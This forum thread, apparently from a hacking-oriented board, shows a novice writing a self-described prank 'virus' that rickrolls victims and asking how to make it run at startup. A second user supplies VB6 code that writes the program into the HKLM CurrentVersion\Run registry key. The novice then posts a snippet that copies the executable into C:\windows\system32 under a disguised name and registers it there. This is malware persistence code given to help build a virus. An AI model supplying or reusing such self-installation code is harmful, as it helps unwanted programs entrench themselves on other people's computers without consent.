[Question]Regwrite

[1337person]

Hi

I'm Writing a "Virus" that rick rolls you (Yes you heard it! Rick roll) But i just got kind of stuck, google did not solve my problem either.
I'm pretty new to Vb so i dont know really much YET.
what im wondering is, How can i make it add itself to the autostart Reg when its started?
i know its prolly a simpel question but i wold be thankful if u could help me with this.

[Murdok]

you want it to start up with windows?

in vb6 you can do

In a module

General

Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = _
((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Dim str As String

and

function

Public Function startup(Optional uninstall As Boolean)
  subKey = "software\microsoft\windows\currentversion\run"

  Size = Len(str)
  
  'Open key
  RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, Key
  
  'Set Value of key
  RegSetValueEx Key, "PROGRAM NAME", 0, REG_SZ, ByVal str, Size
  
  'Close key
  RegCloseKey Key
End Function

then say in your form load or where ever you wanna put it

StartUp

[1337person]

ye

and i use VB.net 2008 Express


Ty Man and u deserv 2+ rep for it

[1337person]

i get around 9 errors when i past in the function Lot of em aint Declared

[Murdok]

i think its because your using vb.net totally different to vb6

here you go i think this is what you need

http://www.dreamincode.net/forums/showtopic21106.htm

[1337person]

Wold this code work?


dim regkey
filecopy app.path & "\" & app.exename & ".exe" , "C:\windows\system32\newapp.exe"
set regkey = createobject("wscript.shell")
regkey.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\newapp.exe", "c:\windows\system32\newapp.exe"

Also, if i want to remove it from autostart i need to Make a bat file that removes it from the reg right?